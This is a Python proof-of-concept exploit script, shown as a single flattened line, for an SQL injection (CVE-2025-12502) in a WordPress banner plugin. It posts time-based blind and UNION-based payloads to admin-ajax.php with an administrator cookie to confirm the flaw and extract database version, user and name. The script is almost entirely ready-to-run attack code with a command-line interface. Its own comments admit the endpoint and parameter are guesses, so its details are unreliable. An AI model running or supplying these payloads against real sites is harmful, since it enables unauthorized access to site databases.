CVE-2025-12502

import requests import sys from urllib.parse import quote # CVE-2025-12502 PoC for WordPress attention-bar plugin SQL Injection # Target: WordPress site with attention-bar plugin <= 0.7.2.1 # Authentication: Requires high privilege user (Administrator) def exploit_sql_injection(target_url, cookie): """ Exploit SQL injection in attention-bar plugin The plugin does not sanitize and escape parameters before using in SQL statement """ # Target endpoint - typically in wp-admin/admin-ajax.php or similar endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Malicious payload - extracts database user # Using time-based blind SQL injection technique payload = "' AND (SELECT 7744 FROM (SELECT(SLEEP(5)))x) AND 'z'='z" # Request headers headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Data payload - adjust 'action' and parameter name based on actual vulnerable endpoint data = { 'action': 'attention_bar_save_settings', 'bar_id': payload, # Vulnerable parameter 'settings[title]': 'Test Bar' } print(f'[*] Target: {target_url}') print(f'[*] Exploiting SQL injection...') print(f'[*] Payload: {payload}') try: response = requests.post(endpoint, headers=headers, data=data, timeout=10) print(f'[+] Request sent successfully') print(f'[*] Response status: {response.status_code}') return response.text except requests.exceptions.Timeout: print('[+] SQL injection confirmed - request timed out (blind injection working)') return None except Exception as e: print(f'[-] Error: {str(e)}') return None def union_based_injection(target_url, cookie): """ Union-based SQL injection for data extraction """ endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Union-based payload to extract database version and user payload = "' UNION SELECT NULL,NULL,version(),user(),database()-- -" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Cookie': cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } data = { 'action': 'attention_bar_save_settings', 'bar_id': payload, 'settings[title]': 'Test Bar' } print(f'[*] Attempting union-based injection...') try: response = requests.post(endpoint, headers=headers, data=data, timeout=10) if response.status_code == 200: print('[+] Possible data extraction point found') return response.text except Exception as e: print(f'[-] Error: {str(e)}') return None if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <auth_cookie>') print(f'Example: python {sys.argv[0]} http://example.com "wordpress_abc123..."') sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print('='*60) print('CVE-2025-12502 SQL Injection Exploitation Tool') print('Target: attention-bar WordPress Plugin <= 0.7.2.1') print('='*60) # Test blind injection exploit_sql_injection(target, cookie) print('\n[*] Attempting data extraction...') union_based_injection(target, cookie)

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